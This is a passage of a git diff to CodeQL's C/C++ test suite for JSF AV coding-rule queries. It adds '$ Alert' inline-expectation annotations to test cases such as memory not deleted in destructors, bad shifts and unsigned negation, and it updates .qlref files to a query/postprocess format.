b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/Container2.cpp @@ -18,7 +18,7 @@ class Container2 void Alloc() { ptr2 = new T(); // GOOD - ptr3 = new T(); // BAD: not deleted in destructor + ptr3 = new T(); // BAD: not deleted in destructor // $ Alert } void Free() diff --git a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/DeleteThis.cpp b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/DeleteThis.cpp index fc7ad7de26d3..3e4456daf9bf 100644 --- a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/DeleteThis.cpp +++ b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/DeleteThis.cpp @@ -53,11 +53,11 @@ class MyClass3 ptr3 = new MyClass2(); // GOOD ptr4 = new MyClass2(); // GOOD ptr5 = new MyClass2(); // GOOD - ptr10 = new MyClass2(); // BAD: not deleted in destructor + ptr10 = new MyClass2(); // BAD: not deleted in destructor // $ Alert ptr11 = new MyClass2(); // GOOD - ptr12 = new MyClass2(); // BAD: not deleted in destructor + ptr12 = new MyClass2(); // BAD: not deleted in destructor // $ Alert ptr13 = new MyClass2(); // GOOD - ptr14 = new MyClass2(); // BAD: not deleted in destructor + ptr14 = new MyClass2(); // BAD: not deleted in destructor // $ Alert ptr15 = new MyClass2(); // GOOD ptr20 = new MyClass2(); // GOOD } @@ -124,7 +124,7 @@ class MyClass9 b = new MyClass5(); // GOOD c = new MyClass6(); // GOOD - d = new MyClass7(); // BAD + d = new MyClass7(); // BAD // $ Alert e = new MyClass7(); // BAD [NOT DETECTED] f = new MyClass8(); // BAD [NOT DETECTED] } diff --git a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/ExternalOwners.cpp b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/ExternalOwners.cpp index bdec96f30df4..89d298c299d4 100644 --- a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/ExternalOwners.cpp +++ b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/ExternalOwners.cpp @@ -46,7 +46,7 @@ class MyScreen public: MyScreen() { - a = new MyWidget(); // BAD (not deleted) + a = new MyWidget(); // BAD (not deleted) // $ Alert b = new MyWidget(); // GOOD (deleted in widgets destructor) widgets.add(b); diff --git a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/Lambda.cpp b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/Lambda.cpp index 1b3233c52718..c0b70ee2c172 100644 --- a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/Lambda.cpp +++ b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/Lambda.cpp @@ -21,7 +21,7 @@ class testLambda }; deleter3(); - r4 = new char[4096]; // BAD + r4 = new char[4096]; // BAD // $ Alert r5 = new char[4096]; // GOOD deleter5 = &deleter_for_r5; diff --git a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/ListDelete.cpp b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/ListDelete.cpp index bbea9da6f430..ad74ea69e26e 100644 --- a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/ListDelete.cpp +++ b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/ListDelete.cpp @@ -18,7 +18,7 @@ class MyThingColection { public: MyThingColection() { - first = new MyThing; // GOOD (all deleted in destructor) [FALSE POSITIVE] + first = new MyThing; // GOOD (all deleted in destructor) [FALSE POSITIVE] // $ Alert first->next = new MyThing; // GOOD (all deleted in destructor) diff --git a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/NoDestructor.cpp b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/NoDestructor.cpp index f5d2b02efaa8..03dfbc62b45a 100644 --- a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/NoDestructor.cpp +++ b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/NoDestructor.cpp @@ -20,7 +20,7 @@ class MyClass5 public: MyClass5() { - n = new MyNumber(); // BAD: not deleted + n = new MyNumber(); // BAD: not deleted // $ Alert } private: diff --git a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/PlacementNew.cpp b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/PlacementNew.cpp index c7794857cb94..68ec8e199520 100644 --- a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/PlacementNew.cpp +++ b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/PlacementNew.cpp @@ -33,7 +33,7 @@ class MyTestForPlacementNew { void *buffer_ptr = buffer; - p1 = new MyClassForPlacementNew(1); // BAD: not released + p1 = new MyClassForPlacementNew(1); // BAD: not released // $ Alert p2 = new (std::nothrow) MyClassForPlacementNew(2); // BAD: not released [NOT DETECTED] p3 = new (buffer_ptr) MyClassForPlacementNew(3); // GOOD: placement new, not an allocation } diff --git a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/SelfRegistering.cpp b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/SelfRegistering.cpp index 75ad7f4d1fa0..013eb6398e71 100644 --- a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/SelfRegistering.cpp +++ b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/SelfRegistering.cpp @@ -22,7 +22,7 @@ class MyOwner bottom = new MyElement(); // GOOD bottom->bind(this); - side = new MyElement(); // BAD (never released) + side = new MyElement(); // BAD (never released) // $ Alert side->donothing(123); } diff --git a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/Variants.cpp b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/Variants.cpp index 7727a038248d..0017230d3d0e 100644 --- a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/Variants.cpp +++ b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/Variants.cpp @@ -23,7 +23,7 @@ class MyClass4 c = d = new int; // GOOD (d is deleted) e = local = new int; // BAD (e is not deleted) [NOT REPORTED] - f = new int; // GOOD (ID(f) is deleted) [FALSE POSITIVE] + f = new int; // GOOD (ID(f) is deleted) [FALSE POSITIVE] // $ Alert g = ID(new int); // GOOD (g is deleted) } @@ -66,10 +66,10 @@ class MyClass6 public: MyClass6() { - a = new int[10]; // BAD - b = (int *)calloc(10, sizeof(int)); // BAD - c = (int *)realloc(0, 10 * sizeof(int)); // BAD - d = strdup("string"); // BAD + a = new int[10]; // BAD // $ Alert + b = (int *)calloc(10, sizeof(int)); // BAD // $ Alert + c = (int *)realloc(0, 10 * sizeof(int)); // BAD // $ Alert + d = strdup("string"); // BAD // $ Alert } ~MyClass6() diff --git a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/Wrapped.cpp b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/Wrapped.cpp index 6b0eb79f41cb..a2c5fb8a991c 100644 --- a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/Wrapped.cpp +++ b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 79/Wrapped.cpp @@ -43,7 +43,7 @@ class Wrapped2 public: Wrapped2(int len) { ptr1 = new char[len]; // GOOD - ptr2 = new char[len]; // BAD: not released in destructor + ptr2 = new char[len]; // BAD: not released in destructor // $ Alert Init(len); } @@ -56,7 +56,7 @@ class Wrapped2 void Init(int len) { ptr3 = new char[len]; // GOOD - ptr4 = new char[len]; // BAD: not released in destructor + ptr4 = new char[len]; // BAD: not released in destructor // $ Alert } void Shutdown() diff --git a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 82/AV Rule 82.cpp b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 82/AV Rule 82.cpp index 411902ac32d2..c2136dcf2876 100644 --- a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 82/AV Rule 82.cpp +++ b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 82/AV Rule 82.cpp @@ -15,13 +15,13 @@ class Container { }; struct Bad1 { - Bad1& operator=(const Bad1& other) { + Bad1& operator=(const Bad1& other) { // $ Alert return const_cast(other); // BAD (does not return a reference to *this) } }; struct Bad2 { - Bad2 operator=(const Bad2& other) { + Bad2 operator=(const Bad2& other) { // $ Alert return *this; // BAD (return type is not a reference) } }; @@ -60,7 +60,7 @@ class TemplateReturnAssignment { return *this = TemplateReturnAssignment(_val); // GOOD (calls above `operator=`) } - TemplateReturnAssignment &operator=(bool b) { + TemplateReturnAssignment &operator=(bool b) { // $ Alert return *(new TemplateReturnAssignment(0)); // BAD (does not return a reference to *this) } @@ -196,7 +196,7 @@ struct TemplatedAssignmentGood { struct TemplatedAssignmentBad { template - typename second::type operator=(T val) { // BAD (missing &) + typename second::type operator=(T val) { // BAD (missing &) // $ Alert return *this; } }; diff --git a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 82/AV Rule 82.qlref b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 82/AV Rule 82.qlref index 3e47acb20c8e..260d6a99c420 100644 --- a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 82/AV Rule 82.qlref +++ b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 82/AV Rule 82.qlref @@ -1 +1,2 @@ -jsf/4.10 Classes/AV Rule 82.ql +query: jsf/4.10 Classes/AV Rule 82.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 85/AV Rule 85.cpp b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 85/AV Rule 85.cpp index 292b8857cb97..18b56dd0d0b8 100644 --- a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 85/AV Rule 85.cpp +++ b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 85/AV Rule 85.cpp @@ -1,12 +1,12 @@ -class MyClass1 { +class MyClass1 { // $ Alert public: int i; bool operator< (const MyClass1 &rhs){ return i < rhs.i; } // BAD: operator>= missing }; -class MyClass2 { +class MyClass2 { // $ Alert public: int i; bool operator< (const MyClass2 &rhs){ return i < rhs.i; } @@ -22,7 +22,7 @@ class MyClass3 { // GOOD }; -class MyClass4 { +class MyClass4 { // $ Alert public: int i; bool operator< (const MyClass4 &rhs){ return i < rhs.i; } @@ -76,7 +76,7 @@ class MyClass7 { MyClass7 myClass7; template -class MyClass8 { +class MyClass8 { // $ Alert public: int i; template @@ -100,7 +100,7 @@ void f8(void) { } template -class MyClass9 { +class MyClass9 { // $ Alert public: int i; template diff --git a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 85/AV Rule 85.qlref b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 85/AV Rule 85.qlref index 2608ffff47cb..72f5094881b6 100644 --- a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 85/AV Rule 85.qlref +++ b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 85/AV Rule 85.qlref @@ -1 +1,2 @@ -jsf/4.10 Classes/AV Rule 85.ql +query: jsf/4.10 Classes/AV Rule 85.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 97/AV Rule 97.qlref b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 97/AV Rule 97.qlref index c08b4c966198..953d90e70be7 100644 --- a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 97/AV Rule 97.qlref +++ b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 97/AV Rule 97.qlref @@ -1 +1,2 @@ -jsf/4.10 Classes/AV Rule 97.ql \ No newline at end of file +query: jsf/4.10 Classes/AV Rule 97.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 97/jsf97.cpp b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 97/jsf97.cpp index df00f154480a..8e8b7ab6ba7e 100644 --- a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 97/jsf97.cpp +++ b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 97/jsf97.cpp @@ -3,22 +3,22 @@ typedef int jmp_buf[16]; class C { public: -static int bad1(char xs[10]) +static int bad1(char xs[10]) // $ Alert { return sizeof(xs); } -static int bad2(char xs[]) +static int bad2(char xs[]) // $ Alert { return sizeof(xs); } -static int bad3(chars xs) +static int bad3(chars xs) // $ Alert { return sizeof(xs); } -static int bad4(chars const xs) +static int bad4(chars const xs) // $ Alert { return sizeof(xs); } @@ -37,7 +37,7 @@ static void good_longjmp(jmp_buf j) { } -static void bad_longjmp(int j[16]) +static void bad_longjmp(int j[16]) // $ Alert { } diff --git a/cpp/ql/test/query-tests/jsf/4.13 Functions/AV Rule 107/AV Rule 107.qlref b/cpp/ql/test/query-tests/jsf/4.13 Functions/AV Rule 107/AV Rule 107.qlref index 57f35c3bcf2d..e24890cc9a86 100644 --- a/cpp/ql/test/query-tests/jsf/4.13 Functions/AV Rule 107/AV Rule 107.qlref +++ b/cpp/ql/test/query-tests/jsf/4.13 Functions/AV Rule 107/AV Rule 107.qlref @@ -1 +1,2 @@ -jsf/4.13 Functions/AV Rule 107.ql +query: jsf/4.13 Functions/AV Rule 107.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/jsf/4.13 Functions/AV Rule 107/test.c b/cpp/ql/test/query-tests/jsf/4.13 Functions/AV Rule 107/test.c index 975d9e196daa..d0fc93965098 100644 --- a/cpp/ql/test/query-tests/jsf/4.13 Functions/AV Rule 107/test.c +++ b/cpp/ql/test/query-tests/jsf/4.13 Functions/AV Rule 107/test.c @@ -8,14 +8,14 @@ void test1() { - void inner1(); // BAD - extern int inner2(); // BAD + void inner1(); // BAD // $ Alert + extern int inner2(); // BAD // $ Alert void inner3() {}; // GOOD (this isn't a declaration, it's a GCC nested function) MY_FUNCTION_1(); // GOOD (in a macro) MY_FUNCTION_2(); // GOOD (in a macro) - MYTYPE inner4(); // BAD (function declaration is not in the macro) - void inner5(MYTYPE p); // BAD (function declaration is not in the macro) + MYTYPE inner4(); // BAD (function declaration is not in the macro) // $ Alert + void inner5(MYTYPE p); // BAD (function declaration is not in the macro) // $ Alert } #define STATICASSERT(cond) void staticAssert(int arg[(cond) ? (1) : (-1)]) diff --git a/cpp/ql/test/query-tests/jsf/4.13 Functions/AV Rule 114/AV Rule 114.qlref b/cpp/ql/test/query-tests/jsf/4.13 Functions/AV Rule 114/AV Rule 114.qlref index fbffe346bcfc..16716eca98f9 100644 --- a/cpp/ql/test/query-tests/jsf/4.13 Functions/AV Rule 114/AV Rule 114.qlref +++ b/cpp/ql/test/query-tests/jsf/4.13 Functions/AV Rule 114/AV Rule 114.qlref @@ -1 +1,2 @@ -jsf/4.13 Functions/AV Rule 114.ql +query: jsf/4.13 Functions/AV Rule 114.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/jsf/4.13 Functions/AV Rule 114/complex.c b/cpp/ql/test/query-tests/jsf/4.13 Functions/AV Rule 114/complex.c index fc190eb518cd..767eb4284440 100644 --- a/cpp/ql/test/query-tests/jsf/4.13 Functions/AV Rule 114/complex.c +++ b/cpp/ql/test/query-tests/jsf/4.13 Functions/AV Rule 114/complex.c @@ -1,10 +1,10 @@ _Complex double complexTest1(float a, float b) { - _Complex double x = __builtin_complex(a, b); // BAD + _Complex double x = __builtin_complex(a, b); // BAD // $ Alert } _Complex double complexTest2(float a, float b) { - auto x = __builtin_complex(a, b) * 2.0f; // BAD + auto x = __builtin_complex(a, b) * 2.0f; // BAD // $ Alert } _Complex double complexTest3(float a, float b) { diff --git a/cpp/ql/test/query-tests/jsf/4.13 Functions/AV Rule 114/test.c b/cpp/ql/test/query-tests/jsf/4.13 Functions/AV Rule 114/test.c index f0b2dff13308..021e9e5d2d7b 100644 --- a/cpp/ql/test/query-tests/jsf/4.13 Functions/AV Rule 114/test.c +++ b/cpp/ql/test/query-tests/jsf/4.13 Functions/AV Rule 114/test.c @@ -5,7 +5,7 @@ int f1(void) { } int f2(void) { - int x = 1; + int x = 1; // $ Alert } // BAD int f3(int b) { @@ -22,7 +22,7 @@ int f3(int b) { int f4(int b) { int x; if (b) { - x = 1; + x = 1; // $ Alert } else { x = 3; return 4; @@ -36,7 +36,7 @@ int f5(void) { int f6(int b) { int x; if (b) { - x = 1; + x = 1; // $ Alert } else { __builtin_unreachable(); } diff --git a/cpp/ql/test/query-tests/jsf/4.13 Functions/AV Rule 114/test.cpp b/cpp/ql/test/query-tests/jsf/4.13 Functions/AV Rule 114/test.cpp index 0c7e02ce9ac0..d31506df0167 100644 --- a/cpp/ql/test/query-tests/jsf/4.13 Functions/AV Rule 114/test.cpp +++ b/cpp/ql/test/query-tests/jsf/4.13 Functions/AV Rule 114/test.cpp @@ -15,7 +15,7 @@ MyValue g1() MyValue g2() { // BAD -} +} // $ Alert MyValue g3() { @@ -49,7 +49,7 @@ MyValue g7(bool c) DONOTHING DONOTHING // BAD -} +} // $ Alert typedef void MYVOID; MYVOID g8() @@ -73,7 +73,7 @@ TypePair::first g9() TypePair::second g10() { // BAD (the return type amounts to int) -} +} // $ Alert template typename TypePair::first g11() @@ -85,7 +85,7 @@ template typename TypePair::second g12() { // BAD (the return type amounts to T / int) -} +} // $ Alert void instantiate() { @@ -109,7 +109,7 @@ int g14(int x) { myThrow("fail"); // BAD (doesn't always throw) } -} +} // $ Alert int g15(int x) { @@ -131,14 +131,14 @@ void myConditionalThrow(bool condition, const char *error) int g16(int x) { - myConditionalThrow(x < 10, "fail"); // BAD (doesn't always throw) + myConditionalThrow(x < 10, "fail"); // BAD (doesn't always throw) // $ Alert } int g17(int x) { try { - myConditionalThrow(x < 10, "fail"); + myConditionalThrow(x < 10, "fail"); // $ Alert } catch (...) { return x; // BAD (doesn't always reach this return) } @@ -186,7 +186,7 @@ int g22() { } int g23() { - Aborting().a(); // GOOD [FALSE POSITIVE] + Aborting().a(); // GOOD [FALSE POSITIVE] // $ Alert } [[__noreturn__]] diff --git a/cpp/ql/test/query-tests/jsf/4.16 Initialization/AV Rule 145/AV Rule 145.qlref b/cpp/ql/test/query-tests/jsf/4.16 Initialization/AV Rule 145/AV Rule 145.qlref index 27a18956b402..6bc33e6e8de0 100644 --- a/cpp/ql/test/query-tests/jsf/4.16 Initialization/AV Rule 145/AV Rule 145.qlref +++ b/cpp/ql/test/query-tests/jsf/4.16 Initialization/AV Rule 145/AV Rule 145.qlref @@ -1 +1,2 @@ -jsf/4.16 Initialization/AV Rule 145.ql +query: jsf/4.16 Initialization/AV Rule 145.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/jsf/4.16 Initialization/AV Rule 145/test.c b/cpp/ql/test/query-tests/jsf/4.16 Initialization/AV Rule 145/test.c index cd7b56779096..11a8f3593290 100644 --- a/cpp/ql/test/query-tests/jsf/4.16 Initialization/AV Rule 145/test.c +++ b/cpp/ql/test/query-tests/jsf/4.16 Initialization/AV Rule 145/test.c @@ -5,7 +5,7 @@ enum { E1C }; -enum { +enum { // $ Alert E2A = 1, E2B, E2C, @@ -13,7 +13,7 @@ enum { E2E }; -enum { +enum { // $ Alert E3A = 1, E3B = 2, E3C = 10, @@ -35,7 +35,7 @@ enum { E5C }; -enum { +enum { // $ Alert E6A, E6B, E6C = 10, diff --git a/cpp/ql/test/query-tests/jsf/4.21 Operators/AV Rule 157/AV Rule 157.qlref b/cpp/ql/test/query-tests/jsf/4.21 Operators/AV Rule 157/AV Rule 157.qlref index be23cb77df59..4a9a7d359f80 100644 --- a/cpp/ql/test/query-tests/jsf/4.21 Operators/AV Rule 157/AV Rule 157.qlref +++ b/cpp/ql/test/query-tests/jsf/4.21 Operators/AV Rule 157/AV Rule 157.qlref @@ -1 +1,2 @@ -jsf/4.21 Operators/AV Rule 157.ql +query: jsf/4.21 Operators/AV Rule 157.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/jsf/4.21 Operators/AV Rule 157/test.c b/cpp/ql/test/query-tests/jsf/4.21 Operators/AV Rule 157/test.c index 69656806dd94..594ffff2eea3 100644 --- a/cpp/ql/test/query-tests/jsf/4.21 Operators/AV Rule 157/test.c +++ b/cpp/ql/test/query-tests/jsf/4.21 Operators/AV Rule 157/test.c @@ -17,19 +17,19 @@ void f(int x, int y) { if (x && y) x++; - if (x && y++) + if (x && y++) // $ Alert x++; if (x && pureFun()) x++; - if (x && imPureFun()) + if (x && imPureFun()) // $ Alert x++; if (x && strcmp("foo", "bar")) x++; - if (x && unknownFun("foo", "bar")) + if (x && unknownFun("foo", "bar")) // $ Alert x++; } diff --git a/cpp/ql/test/query-tests/jsf/4.21 Operators/AV Rule 164/AV Rule 164.qlref b/cpp/ql/test/query-tests/jsf/4.21 Operators/AV Rule 164/AV Rule 164.qlref index d6afaadc5957..637a63fa173b 100644 --- a/cpp/ql/test/query-tests/jsf/4.21 Operators/AV Rule 164/AV Rule 164.qlref +++ b/cpp/ql/test/query-tests/jsf/4.21 Operators/AV Rule 164/AV Rule 164.qlref @@ -1 +1,2 @@ -jsf/4.21 Operators/AV Rule 164.ql +query: jsf/4.21 Operators/AV Rule 164.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/jsf/4.21 Operators/AV Rule 164/test.c b/cpp/ql/test/query-tests/jsf/4.21 Operators/AV Rule 164/test.c index 99cc6bd7db7d..d6f2ceb6148a 100644 --- a/cpp/ql/test/query-tests/jsf/4.21 Operators/AV Rule 164/test.c +++ b/cpp/ql/test/query-tests/jsf/4.21 Operators/AV Rule 164/test.c @@ -1,28 +1,28 @@ void f(unsigned char uc, signed char sc, int i) { - uc >> -1; // BAD + uc >> -1; // BAD // $ Alert uc >> 0; uc >> 7; - uc >> 8; // BAD + uc >> 8; // BAD // $ Alert - uc << -1; // BAD + uc << -1; // BAD // $ Alert uc << 0; uc << 7; - uc << 8; // BAD + uc << 8; // BAD // $ Alert uc >>= -1; // BAD [NOT DETECTED] uc >>= 0; // BAD [NOT DETECTED] uc >>= 7; uc >>= 8; // BAD [NOT DETECTED] - sc >> -1; // BAD + sc >> -1; // BAD // $ Alert sc >> 0; sc >> 7; - sc >> 8; // BAD + sc >> 8; // BAD // $ Alert - ((unsigned char)i) >> -1; // BAD + ((unsigned char)i) >> -1; // BAD // $ Alert ((unsigned char)i) >> 0; ((unsigned char)i) >> 7; - ((unsigned char)i) >> 8; // BAD + ((unsigned char)i) >> 8; // BAD // $ Alert } diff --git a/cpp/ql/test/query-tests/jsf/4.21 Operators/AV Rule 165/AV Rule 165.qlref b/cpp/ql/test/query-tests/jsf/4.21 Operators/AV Rule 165/AV Rule 165.qlref index a6ee879dfe95..d80a910b428d 100644 --- a/cpp/ql/test/query-tests/jsf/4.21 Operators/AV Rule 165/AV Rule 165.qlref +++ b/cpp/ql/test/query-tests/jsf/4.21 Operators/AV Rule 165/AV Rule 165.qlref @@ -1 +1,2 @@ -jsf/4.21 Operators/AV Rule 165.ql +query: jsf/4.21 Operators/AV Rule 165.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/jsf/4.21 Operators/AV Rule 165/test.c b/cpp/ql/test/query-tests/jsf/4.21 Operators/AV Rule 165/test.c index 26d53e5a0c35..dc5248ee7c32 100644 --- a/cpp/ql/test/query-tests/jsf/4.21 Operators/AV Rule 165/test.c +++ b/cpp/ql/test/query-tests/jsf/4.21 Operators/AV Rule 165/test.c @@ -3,25 +3,25 @@ typedef unsigned int TUI; void f(int i, unsigned int ui, signed int si, TUI tui, volatile unsigned int vui, unsigned u, unsigned short us) { i = -i; - i = -ui; // BAD + i = -ui; // BAD // $ Alert i = -si; ui = -i; - ui = -ui; // BAD + ui = -ui; // BAD // $ Alert ui = -si; si = -i; - si = -ui; // BAD + si = -ui; // BAD // $ Alert si = -si; i = -(int)i; - i = -(unsigned int)i; // BAD + i = -(unsigned int)i; // BAD // $ Alert i = -(signed int)i; ui = -(int)ui; - ui = -(unsigned int)ui; // BAD + ui = -(unsigned int)ui; // BAD // $ Alert ui = -(signed int)ui; - tui = -tui; // BAD - vui = -vui; // BAD - u = -u; // BAD - us = -us; // BAD + tui = -tui; // BAD // $ Alert + vui = -vui; // BAD // $ Alert + u = -u; // BAD // $ Alert + us = -us; // BAD // $ Alert ui = -(5U); // BAD [NOT DETECTED] } diff --git a/cpp/ql/test/query-tests/jsf/4.21 Operators/AV Rule 166/AV Rule 166.qlref b/cpp/ql/test/query-tests/jsf/4.21 Operators/AV Rule 166/AV Rule 166.qlref index 956118bf8c59..bccd03161582 100644 --- a/cpp/ql/test/query-tests/jsf/4.21 Operators/AV Rule 166/AV Rule 166.qlref +++ b/cpp/ql/test/query-tests/jsf/4.21 Operators/AV Rule 166/AV Rule 166.qlref @@ -1 +1,2 @@ -jsf/4.21 Operators/AV Rule 166.ql +query: jsf/4.21 Operators/AV Rule 166.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/jsf/4.21 Operators/AV Rule 166/test.c b/cpp/ql/test/query-tests/jsf/4.21 Operators/AV Rule 166/test.c index e272214215d5..5af0c3c70526 100644 --- a/cpp/ql/test/query-tests/jsf/4.21 Operators/AV Rule 166/test.c +++ b/cpp/ql/test/query-tests/jsf/4.21 Operators/AV Rule 166/test.c @@ -19,8 +19,8 @@ void f(void) { sizeof(vi); sizeof(*ip); sizeof(*vip); - sizeof(global++); + sizeof(global++); // $ Alert sizeof(pure()); - sizeof(impure()); + sizeof(impure()); // $ Alert } diff --git a/cpp/ql/test/query-tests/jsf/4.22 Pointers and References/AV Rule 176/176.cpp b/cpp/ql/test/query-tests/jsf/4.22 Pointers and References/AV Rule 176/176.cpp index 36c5d9a84fad..e263b8f89a09 100644 --- a/cpp/ql/test/query-tests/jsf/4.22 Pointers and References/AV Rule 176/176.cpp +++ b/cpp/ql/test/query-tests/jsf/4.22 Pointers and References/AV Rule 176/176.cpp @@ -15,31 +15,31 @@ operator_t good_get_operator(bool which) return which ? add : sub; } -int (*bad_get_operator(bool which))(int, int) +int (*bad_get_operator(bool which))(int, int) // $ Alert { return which ? add : sub; } typedef operator_t (*good_meta_t)(bool); -typedef int (*(*bad_meta_t)(bool))(int, int); +typedef int (*(*bad_meta_t)(bool))(int, int); // $ Alert int good_call(operator_t op, int lhs, int rhs) { return op(lhs, rhs); } -int bad_call(int(*op)(int, int), int lhs, int rhs) +int bad_call(int(*op)(int, int), int lhs, int rhs) // $ Alert { return op(lhs, rhs); } typedef int (*good_call_t)(operator_t, int, int); -typedef int (*bad_call_t)(int(*)(int, int), int, int); +typedef int (*bad_call_t)(int(*)(int, int), int, int); // $ Alert void usages() { operator_t good_op = add; - int (*bad_op)(int, int) = good_op; + int (*bad_op)(int, int) = good_op; // $ Alert good_meta_t good_meta_1 = good_get_operator; bad_meta_t good_meta_2 = good_meta_1; diff --git a/cpp/ql/test/query-tests/jsf/4.22 Pointers and References/AV Rule 176/176.qlref b/cpp/ql/test/query-tests/jsf/4.22 Pointers and References/AV Rule 176/176.qlref index b4218cca8350..18ed00a74cf6 100644 --- a/cpp/ql/test/query-tests/jsf/4.22 Pointers and References/AV Rule 176/176.qlref +++ b/cpp/ql/test/query-tests/jsf/4.22 Pointers and References/AV Rule 176/176.qlref @@ -1 +1,2 @@ -jsf/4.22 Pointers and References/AV Rule 176.ql +query: jsf/4.22 Pointers and References/AV Rule 176.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 186/AV Rule 186.qlref b/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 186/AV Rule 186.qlref index f6fb0bccea00..a811ca432d09 100644 --- a/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 186/AV Rule 186.qlref +++ b/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 186/AV Rule 186.qlref @@ -1 +1,2 @@ -jsf/4.24 Control Flow Structures/AV Rule 186.ql +query: jsf/4.24 Control Flow Structures/AV Rule 186.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 186/test.c b/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 186/test.c index 5dc0c0e94172..b40616d2ecf7 100644 --- a/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 186/test.c +++ b/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 186/test.c @@ -11,7 +11,7 @@ void called2() x++; } -void not_called() +void not_called() // $ Alert { x++; // BAD: unreachable } @@ -29,7 +29,7 @@ int main(int argc, const char* argv[]) while (1) { x++; } - x++; // BAD: unreachable + x++; // BAD: unreachable // $ Alert } else if (argc > 4) { x++; // BAD: unreachable [NOT DETECTED] } else if (argc > 5) { diff --git a/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 193/AV Rule 193.c b/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 193/AV Rule 193.c index 4a0f0e07dd0d..42431663c9c4 100644 --- a/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 193/AV Rule 193.c +++ 